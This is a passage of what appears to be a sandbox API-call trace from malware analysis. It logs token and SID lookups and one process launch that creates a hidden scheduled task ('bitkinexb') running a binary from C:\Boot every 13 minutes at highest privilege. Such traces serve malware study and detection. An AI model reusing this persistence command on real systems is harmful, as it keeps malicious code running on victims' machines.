SysStringLen (param_1="5") returned 0x1 [0062.324] memcpy (in: _Dst=0x35e8d8, _Src=0x35e9f8, _Size=0xa | out: _Dst=0x35e8d8) returned 0x35e8d8 [0062.324] memcpy (in: _Dst=0x35e8e0, _Src=0x381268, _Size=0x4 | out: _Dst=0x35e8e0) returned 0x35e8e0 [0062.324] free (_Block=0xeef00) [0062.324] free (_Block=0xef0a0) [0062.324] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0062.324] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0062.324] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0062.324] malloc (_Size=0x18) returned 0xef0a0 [0062.324] malloc (_Size=0x18) returned 0xeef00 [0062.324] SysStringLen (param_1="S-1-5") returned 0x5 [0062.324] SysStringLen (param_1="-") returned 0x1 [0062.324] memcpy (in: _Dst=0x381268, _Src=0x35e8d8, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0062.324] memcpy (in: _Dst=0x381272, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0062.324] free (_Block=0xef020) [0062.324] free (_Block=0xef0a0) [0062.324] malloc (_Size=0x18) returned 0xef0a0 [0062.324] malloc (_Size=0x18) returned 0xef020 [0062.324] SysStringLen (param_1="S-1-5-") returned 0x6 [0062.324] SysStringLen (param_1="21") returned 0x2 [0062.324] memcpy (in: _Dst=0x35e9f8, _Src=0x381268, _Size=0xe | out: _Dst=0x35e9f8) returned 0x35e9f8 [0062.324] memcpy (in: _Dst=0x35ea04, _Src=0x35e8d8, _Size=0x6 | out: _Dst=0x35ea04) returned 0x35ea04 [0062.324] free (_Block=0xeef00) [0062.324] free (_Block=0xef0a0) [0062.325] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0062.325] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0062.325] malloc (_Size=0x18) returned 0xef0a0 [0062.325] malloc (_Size=0x18) returned 0xeef00 [0062.325] SysStringLen (param_1="S-1-5-21") returned 0x8 [0062.325] SysStringLen (param_1="-") returned 0x1 [0062.325] memcpy (in: _Dst=0x35e8d8, _Src=0x35e9f8, _Size=0x12 | out: _Dst=0x35e8d8) returned 0x35e8d8 [0062.325] memcpy (in: _Dst=0x35e8e8, _Src=0x381268, _Size=0x4 | out: _Dst=0x35e8e8) returned 0x35e8e8 [0062.325] free (_Block=0xef020) [0062.325] free (_Block=0xef0a0) [0062.325] malloc (_Size=0x18) returned 0xef0a0 [0062.325] malloc (_Size=0x18) returned 0xef020 [0062.325] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0062.325] SysStringLen (param_1="4219442223") returned 0xa [0062.325] memcpy (in: _Dst=0x337aa8, _Src=0x35e8d8, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0062.325] memcpy (in: _Dst=0x337aba, _Src=0x35e9f8, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0062.325] free (_Block=0xeef00) [0062.325] free (_Block=0xef0a0) [0062.325] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0062.325] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0062.325] malloc (_Size=0x18) returned 0xef0a0 [0062.325] malloc (_Size=0x18) returned 0xeef00 [0062.325] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0062.325] SysStringLen (param_1="-") returned 0x1 [0062.325] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0062.326] memcpy (in: _Dst=0x337b1e, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0062.326] free (_Block=0xef020) [0062.326] free (_Block=0xef0a0) [0062.326] malloc (_Size=0x18) returned 0xef0a0 [0062.326] malloc (_Size=0x18) returned 0xef020 [0062.326] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0062.326] SysStringLen (param_1="4223814209") returned 0xa [0062.326] memcpy (in: _Dst=0x34db78, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0062.326] memcpy (in: _Dst=0x34dba0, _Src=0x35e8d8, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0062.326] free (_Block=0xeef00) [0062.326] free (_Block=0xef0a0) [0062.326] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0062.326] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0062.326] malloc (_Size=0x18) returned 0xef0a0 [0062.326] malloc (_Size=0x18) returned 0xeef00 [0062.326] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0062.326] SysStringLen (param_1="-") returned 0x1 [0062.326] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0062.326] memcpy (in: _Dst=0x34daa4, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0062.326] free (_Block=0xef020) [0062.326] free (_Block=0xef0a0) [0062.326] malloc (_Size=0x18) returned 0xef0a0 [0062.326] malloc (_Size=0x18) returned 0xef020 [0062.326] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0062.326] SysStringLen (param_1="3835049652") returned 0xa [0062.327] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0062.327] memcpy (in: _Dst=0x34dbb6, _Src=0x35e8d8, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0062.327] free (_Block=0xeef00) [0062.327] free (_Block=0xef0a0) [0062.327] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0062.327] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0062.327] malloc (_Size=0x18) returned 0xef0a0 [0062.327] malloc (_Size=0x18) returned 0xeef00 [0062.327] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0062.327] SysStringLen (param_1="-") returned 0x1 [0062.327] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0062.327] memcpy (in: _Dst=0x34daba, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0062.327] free (_Block=0xef020) [0062.327] free (_Block=0xef0a0) [0062.327] malloc (_Size=0x18) returned 0xef0a0 [0062.327] malloc (_Size=0x18) returned 0xef020 [0062.327] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0062.327] SysStringLen (param_1="1000") returned 0x4 [0062.327] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0062.327] memcpy (in: _Dst=0x34dbcc, _Src=0x35e8d8, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0062.327] free (_Block=0xeef00) [0062.327] free (_Block=0xef0a0) [0062.327] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0062.327] malloc (_Size=0x5e) returned 0xf0800 [0062.328] free (_Block=0xef020) [0062.328] malloc (_Size=0x18) returned 0xef020 [0062.328] free (_Block=0xf0800) [0062.328] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0062.329] GetLastError () returned 0x7a [0062.329] malloc (_Size=0x14) returned 0xef0a0 [0062.329] malloc (_Size=0x16) returned 0xeef00 [0062.329] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0062.329] malloc (_Size=0x18) returned 0xef040 [0062.329] malloc (_Size=0x18) returned 0xeef60 [0062.329] free (_Block=0xef0a0) [0062.329] free (_Block=0xeef00) [0062.329] free (_Block=0xeff00) [0062.329] free (_Block=0xeef60) [0062.330] free (_Block=0xef040) [0062.330] free (_Block=0xef020) [0062.330] free (_Block=0xee240) [0062.330] malloc (_Size=0x48) returned 0xed270 [0062.330] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0062.336] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0062.336] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0062.337] malloc (_Size=0x18) returned 0xef020 [0062.337] CreateEnvironmentBlock () returned 0x1 [0062.343] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0062.343] malloc (_Size=0x18) returned 0xef040 [0062.343] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"bitkinexb\" /sc MINUTE /mo 13 /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"bitkinexb\" /sc MINUTE /mo 13 /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf24, dwThreadId=0xf28)) returned 1 [0062.348] CloseHandle (hObject=0x2fc) returned 1 [0062.348] CloseHandle (hObject=0x248) returned 1 [0062.348] free (_Block=0xef040) [0062.348] DestroyEnvironmentBlock () returned 0x1 [0062.348] malloc (_Size=0x48) returned 0xed2c0 [0062.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4e4d1e00, dwHighDateTime=0x1d9eb0c)) [0062.348] SetEvent (hEvent=0x1f0) returned 1 [0062.348] CloseHandle (hObject=0x238) returned 1 [0062.348] CloseHandle (hObject=0x244) returned 1 [0062.456] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0062.456] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0062.456] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0063.303] SetLastError (dwErrCode=0x0) [0063.303] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0063.303] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0063.303] SetLastError (dwErrCode=0x0) [0063.303] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0063.303] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0063.303] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0063.303] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f530 [0063.303] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f530, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0063.303] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f530 | out: hHeap=0x2e0000) returned 1 [0063.305] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0063.305] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0063.305] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0063.305] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0063.306] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0063.306] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0063.306] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0063.308] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0063.308] GetCurrentThread () returned 0xfffffffffffffffe [0063.308] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0063.308] malloc (_Size=0xd8) returned 0xf3750 [0063.308] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0063.308] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0063.308] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0063.308] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0063.309] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0063.309] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0063.309] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0063.309] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0063.309] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0063.309] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0063.309] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0063.310] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0063.310] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0063.310] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0063.310] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0063.310] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0063.310] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0063.310] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0063.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0063.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0063.311] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0063.311] malloc (_Size=0x18) returned 0xeef20 [0063.311] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x238) returned 1 [0063.311] malloc (_Size=0x48) returned 0xed400 [0063.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4ed009a0, dwHighDateTime=0x1d9eb0c)) [0063.311] SetEvent (hEvent=0x1f0) returned 1 [0063.317] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0063.317] GetLastError () returned 0x7a [0063.317] malloc (_Size=0x2c) returned 0xee200 [0063.317] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0063.317] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0063.317] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0063.317] malloc (_Size=0x1c) returned 0xeff60 [0063.317] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0063.317] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0063.317] malloc (_Size=0x18) returned 0xeef20 [0063.317] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0063.317] malloc (_Size=0x18) returned 0xef020 [0063.317] malloc (_Size=0x18) returned 0xef040 [0063.317] SysStringLen (param_1="S-1-") returned 0x4 [0063.317] SysStringLen (param_1="5") returned 0x1 [0063.317] memcpy (in: _Dst=0x3812f8, _Src=0x35e908, _Size=0xa | out: _Dst=0x3812f8) returned 0x3812f8 [0063.317] memcpy (in: _Dst=0x381300, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x381300) returned 0x381300 [0063.317] free (_Block=0xeef20) [0063.318] free (_Block=0xef020) [0063.318] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0063.318] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0063.318] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0063.318] malloc (_Size=0x18) returned 0xef020 [0063.318] malloc (_Size=0x18) returned 0xeef20 [0063.318] SysStringLen (param_1="S-1-5") returned 0x5 [0063.318] SysStringLen (param_1="-") returned 0x1 [0063.318] memcpy (in: _Dst=0x35eae8, _Src=0x3812f8, _Size=0xc | out: _Dst=0x35eae8) returned 0x35eae8 [0063.318] memcpy (in: _Dst=0x35eaf2, _Src=0x35e908, _Size=0x4 | out: _Dst=0x35eaf2) returned 0x35eaf2 [0063.318] free (_Block=0xef040) [0063.318] free (_Block=0xef020) [0063.318] malloc (_Size=0x18) returned 0xef020 [0063.318] malloc (_Size=0x18) returned 0xef040 [0063.318] SysStringLen (param_1="S-1-5-") returned 0x6 [0063.318] SysStringLen (param_1="21") returned 0x2 [0063.318] memcpy (in: _Dst=0x35e908, _Src=0x35eae8, _Size=0xe | out: _Dst=0x35e908) returned 0x35e908 [0063.318] memcpy (in: _Dst=0x35e914, _Src=0x3812f8, _Size=0x6 | out: _Dst=0x35e914) returned 0x35e914 [0063.318] free (_Block=0xeef20) [0063.318] free (_Block=0xef020) [0063.318] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0063.318] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0063.318] malloc (_Size=0x18) returned 0xef020 [0063.318] malloc (_Size=0x18) returned 0xeef20 [0063.319] SysStringLen (param_1="S-1-5-21") returned 0x8 [0063.319] SysStringLen (param_1="-") returned 0x1 [0063.319] memcpy (in: _Dst=0x3812f8, _Src=0x35e908, _Size=0x12 | out: _Dst=0x3812f8) returned 0x3812f8 [0063.319] memcpy (in: _Dst=0x381308, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x381308) returned 0x381308 [0063.319] free (_Block=0xef040) [0063.319] free (_Block=0xef020) [0063.319] malloc (_Size=0x18) returned 0xef020 [0063.319] malloc (_Size=0x18) returned 0xef040 [0063.319] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0063.319] SysStringLen (param_1="4219442223") returned 0xa [0063.319] memcpy (in: _Dst=0x337698, _Src=0x3812f8, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0063.319] memcpy (in: _Dst=0x3376aa, _Src=0x35e908, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0063.319] free (_Block=0xeef20) [0063.319] free (_Block=0xef020) [0063.319] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0063.319] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0063.319] malloc (_Size=0x18) returned 0xef020 [0063.319] malloc (_Size=0x18) returned 0xeef20 [0063.319] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0063.319] SysStringLen (param_1="-") returned 0x1 [0063.319] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0063.319] memcpy (in: _Dst=0x33833e, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0063.319] free (_Block=0xef040) [0063.320] free (_Block=0xef020) [0063.320] malloc (_Size=0x18) returned 0xef020 [0063.320] malloc (_Size=0x18) returned 0xef040 [0063.320] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0063.320] SysStringLen (param_1="4223814209") returned 0xa [0063.320] memcpy (in: _Dst=0x34d958, _Src=0x338318, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0063.320] memcpy (in: _Dst=0x34d980, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0063.320] free (_Block=0xeef20) [0063.320] free (_Block=0xef020) [0063.320] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0063.320] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0063.320] malloc (_Size=0x18) returned 0xef020 [0063.320] malloc (_Size=0x18) returned 0xeef20 [0063.320] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0063.320] SysStringLen (param_1="-") returned 0x1 [0063.320] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0063.320] memcpy (in: _Dst=0x3276a4, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0063.320] free (_Block=0xef040) [0063.320] free (_Block=0xef020) [0063.320] malloc (_Size=0x18) returned 0xef020 [0063.320] malloc (_Size=0x18) returned 0xef040 [0063.320] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0063.320] SysStringLen (param_1="3835049652") returned 0xa [0063.321] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0063.321] memcpy (in: _Dst=0x34d996, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0063.321] free (_Block=0xeef20) [0063.321] free (_Block=0xef020) [0063.321] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0063.321] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0063.321] malloc (_Size=0x18) returned 0xef020 [0063.321] malloc (_Size=0x18) returned 0xeef20 [0063.321] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0063.321] SysStringLen (param_1="-") returned 0x1 [0063.321] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0063.321] memcpy 